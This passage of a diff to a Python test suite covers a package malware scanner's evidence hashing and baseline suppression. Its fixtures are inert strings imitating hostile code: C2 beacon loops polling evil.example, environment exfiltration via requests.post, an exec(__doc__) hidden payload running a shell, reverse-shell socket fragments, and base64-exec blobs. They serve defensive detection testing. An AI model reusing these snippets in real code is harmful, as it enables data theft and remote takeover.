# Order-aware counting keeps the opener, so the argument lines bind and a
|
||||
# changed body on a continuation line reopens.
|
||||
old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"
|
||||
new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"
|
||||
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
||||
sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
)
|
||||
|
||||
|
||||
def test_extract_evidence_backslash_continued_string_binds_tail():
|
||||
# A single-quoted string can continue across lines with a trailing backslash.
|
||||
# The `)` inside that continued string on the next line must not be counted as
|
||||
# code and close the call early, or a changed argument after it would not
|
||||
# reopen. The blanker tracks the continuation so the whole call binds.
|
||||
old = "requests.post('http://h\\\n/path)', data='old')\n"
|
||||
new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
|
||||
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
||||
sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
)
|
||||
|
||||
|
||||
def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
|
||||
# A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
|
||||
# followed to its real close under the hard limit, so a changed payload on a
|
||||
# continuation line well past the soft cap reopens instead of riding the first
|
||||
# _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
|
||||
mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
|
||||
old = "requests.post(\n" + mid + "\n data='old',\n)\n"
|
||||
new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n"
|
||||
assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
|
||||
sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
)
|
||||
|
||||
|
||||
def test_extract_evidence_fallback_line_numbers_are_correct():
|
||||
# The DOTALL fallback maps match offsets to line numbers via precomputed
|
||||
# newline offsets (bisect, not a quadratic content.count per match); guard that
|
||||
# the mapping is exact so a cross-line match is recorded at its true line and a
|
||||
# changed continuation reopens.
|
||||
content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"
|
||||
e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
|
||||
e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
|
||||
assert "L3" in e1 # the while-True loop starts on line 3, not line 1
|
||||
assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
|
||||
|
||||
|
||||
def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
|
||||
# A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
|
||||
# the whole bundle, so changing payload code elsewhere (obfuscation line
|
||||
# unchanged) reopens rather than riding the matched signature line.
|
||||
obf = "var _0xabcd = function(){};\n"
|
||||
pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar
|
||||
fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
|
||||
fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
|
||||
co = [f for f in fo if "hex-var obfuscation" in f.check][0]
|
||||
cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
|
||||
assert "bundle-sha256:" in co.evidence
|
||||
assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
|
||||
|
||||
|
||||
def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
|
||||
# A large .pth made only of benign-looking imports is bounded in the evidence
|
||||
# (prefix plus digest), not dumped in full, yet still reopens when an import
|
||||
# line changes because the digest covers every line.
|
||||
base = "".join(f"import mod{i}\n" for i in range(200))
|
||||
fo = [
|
||||
f
|
||||
for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
|
||||
if "executable import line" in f.check
|
||||
]
|
||||
fn = [
|
||||
f
|
||||
for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
|
||||
if "executable import line" in f.check
|
||||
]
|
||||
assert fo and fn
|
||||
assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
|
||||
assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
|
||||
|
||||
|
||||
def test_extract_evidence_records_all_multiline_matches():
|
||||
# The DOTALL fallback must record every distinct cross-line match, so a second
|
||||
# long-sleep appended below an already-flagged one reopens the finding.
|
||||
one = "foo = time.sleep(\n 600\n)\n"
|
||||
two = one + "bar = time.sleep(\n 900\n)\n"
|
||||
ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
|
||||
ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
|
||||
assert ev2.count("time.sleep(") == 2 # both matches, not just the first
|
||||
assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
|
||||
|
||||
|
||||
def test_multiline_evidence_reopens_on_continuation_change():
|
||||
# A DOTALL match records every line it spans, so changing the URL inside an
|
||||
# already-flagged C2 loop (a continuation line) reopens the finding...
|
||||
old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"
|
||||
new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"
|
||||
fo = _mk(
|
||||
sp.CRITICAL,
|
||||
"p",
|
||||
"p/loop.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
sp._extract_evidence(old, sp.RE_C2_POLLING),
|
||||
)
|
||||
fn = _mk(
|
||||
sp.CRITICAL,
|
||||
"p",
|
||||
"p/loop.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
sp._extract_evidence(new, sp.RE_C2_POLLING),
|
||||
)
|
||||
assert sp._finding_key(fo) != sp._finding_key(fn)
|
||||
# ...while a benign line shift of the same loop stays stable.
|
||||
shifted = _mk(
|
||||
sp.CRITICAL,
|
||||
"p",
|
||||
"p/loop.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
|
||||
)
|
||||
assert sp._finding_key(fo) == sp._finding_key(shifted)
|
||||
|
||||
|
||||
def test_extract_evidence_bounds_pathological_multiline_span():
|
||||
# A greedy DOTALL span is capped to its head line plus a digest of the rest,
|
||||
# so evidence stays bounded while still binding the full match.
|
||||
big = "vmware\n" + "x\n" * 50 + "detect\n"
|
||||
ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
|
||||
assert "sha256:" in ev and ev.count("\n") <= 1
|
||||
|
||||
|
||||
def test_canon_evidence_keeps_duplicate_spans():
|
||||
# A second identical matched line in a new code path must change the key, so
|
||||
# an appended duplicate payload occurrence is not deduped to the same hash.
|
||||
one = " requests.post(url, data=env)"
|
||||
base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
|
||||
dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
|
||||
assert sp._finding_key(base) != sp._finding_key(dup)
|
||||
|
||||
|
||||
def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
|
||||
# Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring
|
||||
# inside the code must be kept, so changing the code before it reopens.
|
||||
base = _mk(
|
||||
sp.HIGH,
|
||||
"p",
|
||||
"p/x.pth",
|
||||
".pth has 1 executable import line(s)",
|
||||
"import os; note='L7: same_suffix'",
|
||||
)
|
||||
changed = _mk(
|
||||
sp.HIGH,
|
||||
"p",
|
||||
"p/x.pth",
|
||||
".pth has 1 executable import line(s)",
|
||||
"import urllib.request; note='L7: same_suffix'",
|
||||
)
|
||||
assert sp._finding_key(base) != sp._finding_key(changed)
|
||||
|
||||
|
||||
def test_capped_multiline_digest_is_line_shift_stable():
|
||||
# A span over the cap is digested from markerless code, so a pure line shift
|
||||
# of the same span stays stable while a code change still reopens.
|
||||
src = (
|
||||
"while True:\n"
|
||||
+ " x = 1\n" * 20
|
||||
+ " time.sleep(60)\n requests.get('http://old.example/poll')\n"
|
||||
)
|
||||
e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
|
||||
e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
|
||||
assert "sha256:" in e1 # span exceeded the cap
|
||||
assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
|
||||
changed = src.replace("http://old.example/poll", "http://evil.example/c2")
|
||||
assert sp._evidence_hash(e1) != sp._evidence_hash(
|
||||
sp._extract_evidence(changed, sp.RE_C2_POLLING)
|
||||
)
|
||||
|
||||
|
||||
def test_canon_evidence_strips_punctuation_label_marker():
|
||||
# A label with punctuation (network+exec:) must still be stripped, so the
|
||||
# line number alone does not change the key.
|
||||
a = "network+exec: L12: subprocess.run(['id'])"
|
||||
b = "network+exec: L99: subprocess.run(['id'])"
|
||||
assert sp._evidence_hash(a) == sp._evidence_hash(b)
|
||||
|
||||
|
||||
def test_extract_evidence_binds_call_continuation_lines():
|
||||
# A multi-line network call binds its argument lines, so a changed URL on a
|
||||
# continuation line reopens even though the line with the API name is unchanged.
|
||||
old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"
|
||||
new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"
|
||||
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
assert "old.example" in eo and "evil.example" in en
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_extract_evidence_records_multiline_after_oneline():
|
||||
# A one-line C2 match no longer suppresses a later multi-line C2 loop: the
|
||||
# appended cross-line construct is recorded too, so it cannot ride the key.
|
||||
oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
|
||||
appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n"
|
||||
eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
|
||||
ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
|
||||
assert "evil" in ea
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
|
||||
|
||||
|
||||
def test_extract_evidence_giant_span_binds_full_interior():
|
||||
# A giant greedy DOTALL span bridging anchors across the whole file is bound by
|
||||
# a digest of its full content (not just the outer anchors), so a cross-line
|
||||
# payload inserted into the bridged interior between unchanged outer anchors
|
||||
# reopens instead of riding the key. (Binding only head/tail would fail open on
|
||||
# an interior insertion.) A pure line shift still stays stable.
|
||||
gap = "\n".join(f" x = {i}" for i in range(70))
|
||||
base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
|
||||
# interior insertion of a cross-line payload between the unchanged outer anchors
|
||||
injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")
|
||||
ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
|
||||
ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
|
||||
assert "sha256:" in ea # full interior bound by a digest
|
||||
assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens
|
||||
shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
|
||||
assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable
|
||||
|
||||
|
||||
def test_extract_evidence_giant_span_appended_payload_reopens():
|
||||
# The anchor binding must reopen when an appended cross-line payload extends the
|
||||
# bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
|
||||
# NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
|
||||
# single line so the per-line pass never binds them) moves the span's tail
|
||||
# anchor, so the evidence changes instead of riding the unchanged key.
|
||||
existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
|
||||
gap = "\n".join(f" pad{i} = {i}" for i in range(65))
|
||||
appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
|
||||
base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
|
||||
app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
|
||||
assert sp._evidence_hash(base) != sp._evidence_hash(app)
|
||||
# a pure line shift of the same payload does not reopen
|
||||
shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
|
||||
assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
|
||||
|
||||
|
||||
def test_hidden_payload_binds_visible_exec_trigger():
|
||||
# The hidden-payload finding binds the visible exec/eval line that makes the
|
||||
# docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
|
||||
# now runs the same hidden network+exec payload) reopens instead of riding the
|
||||
# key on the unchanged hidden text.
|
||||
hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
|
||||
benign = hidden + 'eval("1+1")\n'
|
||||
armed = hidden + "exec(__doc__)\n"
|
||||
|
||||
def key(src):
|
||||
return [
|
||||
sp._finding_key(f)
|
||||
for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
|
||||
if "hidden network+exec" in f.check
|
||||
][0]
|
||||
|
||||
assert key(benign) != key(armed)
|
||||
|
||||
|
||||
def test_js_finding_pins_full_content_digest():
|
||||
# A JS finding pins the full file content digest, so a backtick template literal
|
||||
# that closes the bracket span early cannot let later option/body lines change
|
||||
# without reopening (the Python-string-aware extractor would otherwise omit
|
||||
# them). Holds for small files too, not just large bundles.
|
||||
old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n"
|
||||
new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n"
|
||||
fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
|
||||
fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
|
||||
assert "bundle-sha256:" in fo.evidence
|
||||
assert sp._finding_key(fo) != sp._finding_key(fn)
|
||||
|
||||
|
||||
def test_extract_evidence_binds_moderate_appended_dotall_span():
|
||||
# A multi-line construct appended under a check that already has a one-line
|
||||
# match is still recorded when it is not a giant whole-file bridge, so its
|
||||
# payload reopens instead of riding the old one-line match.
|
||||
one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
|
||||
gap = "\n".join(f" x = {i}" for i in range(20))
|
||||
old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"
|
||||
new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n"
|
||||
eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
|
||||
en = sp._extract_evidence(new, sp.RE_C2_POLLING)
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_canon_evidence_reorder_reopens():
|
||||
# Reordering matched lines changes executable context, so the key reopens
|
||||
# (the canon preserves discovery order rather than sorting).
|
||||
a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
|
||||
b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
|
||||
assert sp._evidence_hash(a) != sp._evidence_hash(b)
|
||||
|
||||
|
||||
def test_logical_line_end_ignores_brackets_in_strings():
|
||||
# A ) inside a string argument must not close the call early, so later
|
||||
# argument lines still bind and a changed payload there reopens.
|
||||
old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"
|
||||
new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"
|
||||
eo = sp._extract_evidence(old, sp.RE_NETWORK)
|
||||
en = sp._extract_evidence(new, sp.RE_NETWORK)
|
||||
assert "data=secret_old" in eo
|
||||
assert sp._evidence_hash(eo) != sp._evidence_hash(en)
|
||||
|
||||
|
||||
def test_base64_exec_blob_finding_binds_every_blob():
|
||||
# The base64+exec+blob finding digests every blob, so appending a second
|
||||
# encoded payload reopens even when the first blob and decode line are unchanged.
|
||||
head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
|
||||
old = head
|
||||
new = head + "blob2 = '" + "B" * 220 + "'\n"
|
||||
fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
|
||||
fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
|
||||
assert fo and fn
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_pth_large_blob_finding_binds_every_blob():
|
||||
# The .pth large-blob finding digests every blob, so appending a second
|
||||
# encoded payload reopens rather than riding the unchanged first blob.
|
||||
old = "import os\n" + "X" * 220 + "\n"
|
||||
new = old + "Y" * 220 + "\n"
|
||||
fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
|
||||
fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
|
||||
assert fo and fn
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_pth_unusually_large_finding_is_content_bound():
|
||||
# Two different payloads of equal size and import count must get different
|
||||
# keys: the finding now pins the .pth content via a digest.
|
||||
a = [
|
||||
f
|
||||
for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
|
||||
if f.check.startswith("Unusually large executable .pth")
|
||||
]
|
||||
b = [
|
||||
f
|
||||
for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
|
||||
if f.check.startswith("Unusually large executable .pth")
|
||||
]
|
||||
assert a and b
|
||||
assert "sha256:" in a[0].evidence
|
||||
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
|
||||
|
||||
|
||||
def test_js_token_network_finding_binds_network_evidence():
|
||||
# The JS stealer combo records both the token AND the network call, so a
|
||||
# changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
|
||||
old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
|
||||
new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
|
||||
fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
|
||||
fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
|
||||
assert fo and fn
|
||||
assert "Network:" in fo[0].evidence
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_embedded_pem_key_body_change_reopens():
|
||||
# The embedded-key evidence pins the full PEM block via a digest, so swapping
|
||||
# the key body under the same BEGIN/END markers reopens the finding instead
|
||||
# of riding the unchanged marker line.
|
||||
head = "-----BEGIN RSA PRIVATE KEY-----\n"
|
||||
tail = "\n-----END RSA PRIVATE KEY-----"
|
||||
net = "\nrequests.get('http://c2.example')\n"
|
||||
old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
|
||||
new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
|
||||
fo = [
|
||||
f
|
||||
for f in sp.check_py_file(old, "p/k.py", "p")
|
||||
if f.check.startswith("Embedded cryptographic key + network")
|
||||
]
|
||||
fn = [
|
||||
f
|
||||
for f in sp.check_py_file(new, "p/k.py", "p")
|
||||
if f.check.startswith("Embedded cryptographic key + network")
|
||||
]
|
||||
assert fo and fn
|
||||
assert "sha256:" in fo[0].evidence
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_shell_combos_bind_network_evidence():
|
||||
# Both shell combos record their network/exec side, so a changed endpoint
|
||||
# reopens instead of riding the unchanged token or hook line.
|
||||
old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
|
||||
new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
|
||||
to = [
|
||||
f
|
||||
for f in sp.check_shell_file(old, "p/i.sh", "p")
|
||||
if f.check == "Shell embeds credential regexes AND makes network calls"
|
||||
]
|
||||
tn = [
|
||||
f
|
||||
for f in sp.check_shell_file(new, "p/i.sh", "p")
|
||||
if f.check == "Shell embeds credential regexes AND makes network calls"
|
||||
]
|
||||
assert to and tn
|
||||
assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
|
||||
ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
|
||||
hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
|
||||
go = [
|
||||
f
|
||||
for f in sp.check_shell_file(ho, "p/i.sh", "p")
|
||||
if f.check.startswith("Shell installs developer-tool")
|
||||
]
|
||||
gn = [
|
||||
f
|
||||
for f in sp.check_shell_file(hn, "p/i.sh", "p")
|
||||
if f.check.startswith("Shell installs developer-tool")
|
||||
]
|
||||
assert go and gn
|
||||
assert "Hook:" in go[0].evidence
|
||||
assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
|
||||
|
||||
|
||||
def test_hidden_network_exec_reopens_on_endpoint_change():
|
||||
# The hidden network+exec payload binds both the network and the exec signal,
|
||||
# so changing the docstring exfil URL reopens the finding.
|
||||
old = (
|
||||
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
|
||||
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
|
||||
)
|
||||
new = (
|
||||
'"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
|
||||
'os.system("sh -c id")\n"""\nexec(__doc__)\n'
|
||||
)
|
||||
fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
|
||||
fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
|
||||
assert fo and fn
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_base64_exec_blob_combo_binds_blob_digest():
|
||||
# The blob may sit on a separate line from the decode call; the finding now
|
||||
# digests it, so a changed payload reopens even with unchanged base64/exec.
|
||||
b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
|
||||
b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
|
||||
f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
|
||||
f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
|
||||
assert f1 and f2
|
||||
assert "Blob: sha256:" in f1[0].evidence
|
||||
assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
|
||||
|
||||
|
||||
def test_openssl_key_combo_binds_key_evidence():
|
||||
# openssl + embedded key with no network must bind the key, so a changed key
|
||||
# reopens instead of riding the OpenSSL line alone.
|
||||
o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
|
||||
o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
|
||||
g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
|
||||
g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
|
||||
assert g1 and g2
|
||||
assert "Key:" in g1[0].evidence
|
||||
assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
|
||||
|
||||
|
||||
def test_anti_analysis_combo_binds_suspicious_side():
|
||||
# The anti-analysis combo records the network/exec side, so a changed exfil
|
||||
# endpoint reopens instead of riding the unchanged sleep/trace line.
|
||||
old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
|
||||
new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
|
||||
fo = [
|
||||
f
|
||||
for f in sp.check_py_file(old, "p/x.py", "p")
|
||||
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
|
||||
]
|
||||
fn = [
|
||||
f
|
||||
for f in sp.check_py_file(new, "p/x.py", "p")
|
||||
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
|
||||
]
|
||||
assert fo and fn
|
||||
assert "Network:" in fo[0].evidence
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_dns_exfil_combo_binds_other_side():
|
||||
# The DNS exfil combo records the co-occurring network side, so a changed
|
||||
# endpoint reopens instead of riding the unchanged DNS line.
|
||||
old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
|
||||
new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
|
||||
fo = [
|
||||
f
|
||||
for f in sp.check_py_file(old, "p/d.py", "p")
|
||||
if f.check == "DNS exfiltration / tunneling patterns"
|
||||
]
|
||||
fn = [
|
||||
f
|
||||
for f in sp.check_py_file(new, "p/d.py", "p")
|
||||
if f.check == "DNS exfiltration / tunneling patterns"
|
||||
]
|
||||
assert fo and fn
|
||||
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
|
||||
|
||||
|
||||
def test_large_js_bundle_finding_is_content_bound():
|
||||
# A large benign JS bundle yields a HIGH carrying a content digest, not empty
|
||||
# evidence: two different bundles in the same size bucket get different keys,
|
||||
# so a malicious bundle cannot ride a baselined empty-evidence entry.
|
||||
big_a = "var x = 1;\n" * 20000 # ~200 KB, benign
|
||||
big_b = big_a + "var exfil = 2;\n" # different content, same size bucket
|
||||
ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
|
||||
jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
|
||||
assert ja and jb, "large JS bundle must produce a finding"
|
||||
assert ja[0].evidence.startswith("sha256:")
|
||||
assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
|
||||
|
||||
|
||||
def test_pth_large_blob_finding_is_content_bound():
|
||||
# The .pth base64-blob evidence pins the full blob via a digest, so a payload
|
||||
# that keeps the first 120 chars but changes the tail reopens the finding.
|
||||
head = "A" * 120
|
||||
a = [
|
||||
f
|
||||
for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
|
||||
if "base64-like blob" in f.check
|
||||
]
|
||||
b = [
|
||||
f
|
||||
for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
|
||||
if "base64-like blob" in f.check
|
||||
]
|
||||
assert a and b, "large .pth blob must produce a finding"
|
||||
assert "sha256:" in a[0].evidence
|
||||
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
|
||||
|
||||
|
||||
def test_pth_import_lines_record_all_not_first_five():
|
||||
# All executable import lines are recorded, so swapping the sixth import for a
|
||||
# malicious one (first five unchanged) still reopens the catch-all finding.
|
||||
base = "".join(f"import mod{i}\n" for i in range(6))
|
||||
swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
|
||||
fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
|
||||
fs = [
|
||||
f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
|
||||
]
|
||||
assert fb and fs
|
||||
assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
|
||||
|
||||
|
||||
def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
|
||||
# A legacy baseline predating evidence_hash still loads (hash recomputed) but
|
||||
# must WARN so the maintainer regenerates rather than degrade silently.
|
||||
import json
|
||||
|
||||
bl = tmp_path / "legacy.json"
|
||||
bl.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"version": 1,
|
||||
"entries": [
|
||||
{
|
||||
"package": "p",
|
||||
"file": "p/x.py",
|
||||
"check": "c",
|
||||
"severity": sp.CRITICAL,
|
||||
"evidence": "L5: while True:",
|
||||
}
|
||||
],
|
||||
}
|
||||
)
|
||||
)
|
||||
keys = sp._load_baseline(str(bl))
|
||||
assert keys # still loaded
|
||||
assert "lack evidence_hash" in capsys.readouterr().err
|
||||
|
||||
|
||||
def test_fstring_statement_is_not_blanked():
|
||||
# A bare f-string evaluates at import, so it must stay scannable.
|
||||
src = "f\"{__import__('os').system('id')}\"\n"
|
||||
|
|
@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():
|
|||
|
||||
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
|
||||
bl = tmp_path / "bl.json"
|
||||
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
|
||||
listed = _mk(
|
||||
sp.CRITICAL,
|
||||
"fastapi",
|
||||
"fastapi/routing.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
"L579: while True:",
|
||||
)
|
||||
sp._write_baseline(str(bl), [listed])
|
||||
baseline = sp._load_baseline(str(bl))
|
||||
|
||||
# Same (package, basename, check) -> suppressed.
|
||||
# Same (package, path, check, matched code) -> suppressed.
|
||||
active, suppressed = sp._partition_baseline([listed], baseline)
|
||||
assert suppressed == [listed] and active == []
|
||||
|
||||
|
|
@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
|
|||
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
|
||||
assert active2 == [new_kind] and suppressed2 == []
|
||||
|
||||
# Same file + same check but CHANGED flagged code -> still active. A future
|
||||
# malicious payload cannot ride a previously reviewed entry's suppression.
|
||||
changed_code = _mk(
|
||||
sp.CRITICAL,
|
||||
"fastapi",
|
||||
"fastapi/routing.py",
|
||||
"C2 polling/beaconing loop detected",
|
||||
"L579: while True: requests.get('http://c2.example/beacon')",
|
||||
)
|
||||
active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
|
||||
assert active3 == [changed_code] and suppressed3 == []
|
||||
|
||||
# A benign line shift of the SAME code stays suppressed (no version churn).
|
||||
